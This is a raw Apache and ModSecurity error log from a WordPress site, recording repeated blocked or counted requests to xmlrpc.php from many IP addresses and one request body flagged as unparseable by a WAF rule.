[Mon Apr 13 04:13:52.610193 2026] [:error] [pid 34048:tid 34063] [client 223.233.77.246:10097] [client 223.233.77.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.233.77.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv9APSiQ_PJjlY5EhzMvgAAAM0"]
[Mon Apr 13 04:15:47.753369 2026] [:error] [pid 33941:tid 33964] [client 185.199.223.93:37456] [client 185.199.223.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv9c2_NKERAxgG-rYMR_gAAAA0"]
[Mon Apr 13 04:19:47.530448 2026] [:error] [pid 33941:tid 33965] [client 185.78.209.195:55381] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv-Y2_NKERAxgG-rYMU1QAAAA4"]
[Mon Apr 13 04:20:52.043389 2026] [:error] [pid 33941:tid 33965] [client 5.42.124.21:34410] [client 5.42.124.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.42.124.21, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adv-pG_NKERAxgG-rYMV0wAAAA4"]
[Mon Apr 13 04:27:21.944812 2026] [:error] [pid 33943:tid 34025] [client 66.70.178.228:52316] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwAKayoXuZjocnxM5E_9QAAAJM"]
[Mon Apr 13 04:30:37.763118 2026] [:error] [pid 33941:tid 33963] [client 180.93.52.173:42682] [client 180.93.52.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.93.52.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwA7W_NKERAxgG-rYMeWQAAAAw"]
[Mon Apr 13 04:35:44.946513 2026] [:error] [pid 33941:tid 33960] [client 95.211.55.162:34706] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwCIG_NKERAxgG-rYMiLAAAAAk"]
[Mon Apr 13 04:41:15.218410 2026] [:error] [pid 33941:tid 33961] [client 47.244.90.157:32890] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwDa2_NKERAxgG-rYMlmgAAAAo"]
[Mon Apr 13 04:43:19.108261 2026] [:error] [pid 34048:tid 34068] [client 89.163.159.173:48504] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.163.159.173, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwD5_SiQ_PJjlY5Ehzf8gAAANI"]
[Mon Apr 13 04:48:40.211160 2026] [:error] [pid 34048:tid 34074] [client 138.68.166.30:36128] [client 138.68.166.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.166.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwFKPSiQ_PJjlY5Ehzi2QAAANg"]
[Mon Apr 13 04:52:03.269791 2026] [:error] [pid 33941:tid 33968] [client 20.238.240.42:3904] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwF82_NKERAxgG-rYMqxQAAABE"]
[Mon Apr 13 05:19:13.620615 2026] [:error] [pid 34048:tid 34070] [client 167.172.129.25:47612] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwMUfSiQ_PJjlY5Ehzt7wAAANQ"]
[Mon Apr 13 05:23:07.794553 2026] [:error] [pid 34048:tid 34063] [client 152.228.135.83:44196] [client 152.228.135.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.228.135.83, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwNO_SiQ_PJjlY5EhzwtgAAAM0"]
[Mon Apr 13 05:24:20.010759 2026] [:error] [pid 11325:tid 11330] [client 156.38.250.240:50272] [client 156.38.250.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.38.250.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwNhOCGj3EEJtCwa0OE6wAAAQM"]
[Mon Apr 13 05:29:23.661106 2026] [:error] [pid 33943:tid 34023] [client 104.37.191.206:58850] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwOs6yoXuZjocnxM5FkvwAAAJE"]
[Mon Apr 13 05:30:21.497423 2026] [:error] [pid 33941:tid 33956] [client 51.38.135.40:53694] [client 51.38.135.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.135.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwO7W_NKERAxgG-rYM1_AAAAAY"]
[Mon Apr 13 05:31:07.327090 2026] [:error] [pid 11325:tid 11342] [client 159.89.91.236:47514] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwPG-CGj3EEJtCwa0OKNgAAAQ8"]
[Mon Apr 13 05:40:42.172727 2026] [:error] [pid 34048:tid 34063] [client 80.211.125.234:59688] [client 80.211.125.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.211.125.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwRWvSiQ_PJjlY5Ehz2QQAAAM0"]
[Mon Apr 13 05:44:08.300903 2026] [:error] [pid 34048:tid 34074] [client 137.184.230.10:58130] [client 137.184.230.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.230.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwSKPSiQ_PJjlY5Ehz3UQAAANg"]
[Mon Apr 13 05:44:33.849659 2026] [:error] [pid 34048:tid 34058] [client 88.87.70.158:50948] [client 88.87.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 88.87.70.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwSQfSiQ_PJjlY5Ehz3YwAAAMg"]
[Mon Apr 13 05:47:06.521371 2026] [:error] [pid 11325:tid 11332] [client 165.227.121.154:48244] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwS2uCGj3EEJtCwa0OUYQAAAQU"]
[Mon Apr 13 05:54:13.702546 2026] [:error] [pid 34048:tid 34066] [client 68.183.124.132:54288] [client 68.183.124.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.183.124.132, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwUhfSiQ_PJjlY5Ehz5oAAAANA"]
[Mon Apr 13 05:55:07.162199 2026] [:error] [pid 11325:tid 11337] [client 13.239.53.175:58314] [client 13.239.53.175] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.239.53.175, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwUu-CGj3EEJtCwa0OYmgAAAQo"]
[Mon Apr 13 06:07:32.911948 2026] [:error] [pid 33942:tid 34000] [client 157.66.27.30:38284] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwXpBNHe8geO_lMeFajfAAAAFU"]
[Mon Apr 13 06:11:34.011601 2026] [:error] [pid 33943:tid 34021] [client 139.59.37.240:49630] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwYlqyoXuZjocnxM5F0cAAAAI8"]
[Mon Apr 13 06:13:04.978758 2026] [:error] [pid 33943:tid 34014] [client 162.222.34.234:42512] [client 162.222.34.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.222.34.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwY8KyoXuZjocnxM5F1JgAAAIg"]
[Mon Apr 13 06:14:21.862775 2026] [:error] [pid 33942:tid 34002] [client 51.38.230.115:49660] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwZPRNHe8geO_lMeFakuQAAAFc"]
[Mon Apr 13 06:15:23.088153 2026] [:error] [pid 34048:tid 34060] [client 152.53.241.40:35736] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwZe_SiQ_PJjlY5Ehz80gAAAMo"]
[Mon Apr 13 06:18:30.034653 2026] [:error] [pid 33943:tid 34017] [client 185.78.209.195:50061] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwaNqyoXuZjocnxM5F3fwAAAIs"]
[Mon Apr 13 06:26:37.960017 2026] [:error] [pid 34048:tid 34060] [client 167.172.153.2:60616] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwcHfSiQ_PJjlY5Ehz_KgAAAMo"]
[Mon Apr 13 06:28:04.117461 2026] [:error] [pid 33943:tid 34021] [client 67.205.43.38:43022] [client 67.205.43.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.43.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwcdKyoXuZjocnxM5F6rQAAAI8"]
[Mon Apr 13 06:30:35.199161 2026] [:error] [pid 33943:tid 34016] [client 211.21.61.224:43572] [client 211.21.61.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwdC6yoXuZjocnxM5F7YQAAAIo"]
[Mon Apr 13 06:35:06.312995 2026] [:error] [pid 33943:tid 34018] [client 107.180.241.110:57384] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adweGqyoXuZjocnxM5F9kAAAAIw"]
[Mon Apr 13 06:35:26.957170 2026] [:error] [pid 11325:tid 11343] [client 213.160.71.30:43588] [client 213.160.71.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adweLuCGj3EEJtCwa0OqzAAAARA"]
[Mon Apr 13 06:37:21.561976 2026] [:error] [pid 33943:tid 34010] [client 157.245.107.90:55822] [client 157.245.107.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.107.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adweoayoXuZjocnxM5F-lgAAAIQ"]
[Mon Apr 13 06:38:25.421023 2026] [:error] [pid 34048:tid 34057] [client 85.128.143.121:50550] [client 85.128.143.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.121, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwe4fSiQ_PJjlY5EhwDDgAAAMc"]
[Mon Apr 13 06:40:09.244893 2026] [:error] [pid 34048:tid 34058] [client 91.204.161.79:33168] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.204.161.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwfSfSiQ_PJjlY5EhwDlQAAAMg"]
[Mon Apr 13 06:44:10.663636 2026] [:error] [pid 34048:tid 34053] [client 103.85.84.51:35680] [client 103.85.84.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.85.84.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwgOvSiQ_PJjlY5EhwEzAAAAMM"]
[Mon Apr 13 06:44:43.141316 2026] [:error] [pid 33942:tid 33988] [client 95.211.55.162:39330] [client 95.211.55.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.211.55.162, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwgWxNHe8geO_lMeFaurAAAAEk"]
[Mon Apr 13 06:48:44.034954 2026] [:error] [pid 11325:tid 11349] [client 194.233.81.119:34326] [client 194.233.81.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.233.81.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwhTOCGj3EEJtCwa0O1MQAAARY"]
[Mon Apr 13 06:51:39.870579 2026] [:error] [pid 33942:tid 33992] [client 67.205.159.76:56494] [client 67.205.159.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.159.76, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwh-xNHe8geO_lMeFaxMwAAAE0"]
[Mon Apr 13 06:53:17.194415 2026] [:error] [pid 33942:tid 34001] [client 52.178.68.120:52918] [client 52.178.68.120] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.178.68.120, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwiXRNHe8geO_lMeFaxqQAAAFY"]
[Mon Apr 13 06:58:53.572810 2026] [:error] [pid 33941:tid 33954] [client 67.73.243.12:44338] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwjrW_NKERAxgG-rYNJhQAAAAQ"]
[Mon Apr 13 07:01:13.114860 2026] [:error] [pid 11325:tid 11331] [client 188.166.244.214:39500] [client 188.166.244.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.244.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwkOeCGj3EEJtCwa0O__wAAAQQ"]
[Mon Apr 13 07:01:24.487847 2026] [:error] [pid 34048:tid 34058] [client 85.128.143.134:36178] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwkRPSiQ_PJjlY5EhwKhAAAAMg"]
[Mon Apr 13 07:07:40.694884 2026] [:error] [pid 33943:tid 34012] [client 45.113.226.217:53344] [client 45.113.226.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.113.226.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwlvKyoXuZjocnxM5GP_wAAAIY"]
[Mon Apr 13 07:09:44.101697 2026] [:error] [pid 11325:tid 11338] [client 51.75.54.138:44152] [client 51.75.54.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.75.54.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwmOOCGj3EEJtCwa0PHvwAAAQs"]
[Mon Apr 13 07:16:37.941358 2026] [:error] [pid 33941:tid 33968] [client 217.154.5.38:43536] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwn1W_NKERAxgG-rYNP5gAAABE"]
[Mon Apr 13 07:25:34.945423 2026] [:error] [pid 11325:tid 11344] [client 213.165.69.184:50994] [client 213.165.69.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.165.69.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwp7uCGj3EEJtCwa0PVNQAAARE"]
[Mon Apr 13 07:34:18.015712 2026] [:error] [pid 11325:tid 11329] [client 158.69.220.86:32866] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwr-uCGj3EEJtCwa0PbwAAAAQI"]
[Mon Apr 13 07:50:11.154923 2026] [:error] [pid 63309:tid 63323] [client 78.88.230.100:51542] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwvs0pIKZ10weXpf0WKVwAAAAo"]
[Mon Apr 13 08:01:16.153498 2026] [autoindex:error] [pid 63311:tid 63394] [client 161.97.158.68:55664] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Apr 13 08:01:56.367592 2026] [:error] [pid 63406:tid 63428] [client 194.164.166.170:59694] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwydLHZEIkQ0Zmgp5r0oAAAANE"]
[Mon Apr 13 08:04:50.590882 2026] [:error] [pid 63310:tid 63362] [client 217.217.253.123:53068] [client 217.217.253.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.217.253.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwzInoXpRU5ztmwPjKi6AAAAFI"]
[Mon Apr 13 08:05:31.637172 2026] [:error] [pid 63406:tid 63420] [client 82.66.189.231:48020] [client 82.66.189.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.66.189.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwzS7HZEIkQ0Zmgp5r23gAAAMk"]
[Mon Apr 13 08:05:31.638858 2026] [:error] [pid 63406:tid 63420] [client 82.66.189.231:48020] [client 82.66.189.231] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwzS7HZEIkQ0Zmgp5r23gAAAMk"]
[Mon Apr 13 08:05:31.640403 2026] [:error] [pid 63406:tid 63420] [client 82.66.189.231:48020] [client 82.66.189.231] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adwzS7HZEIkQ0Zmgp5r23gAAAMk"]
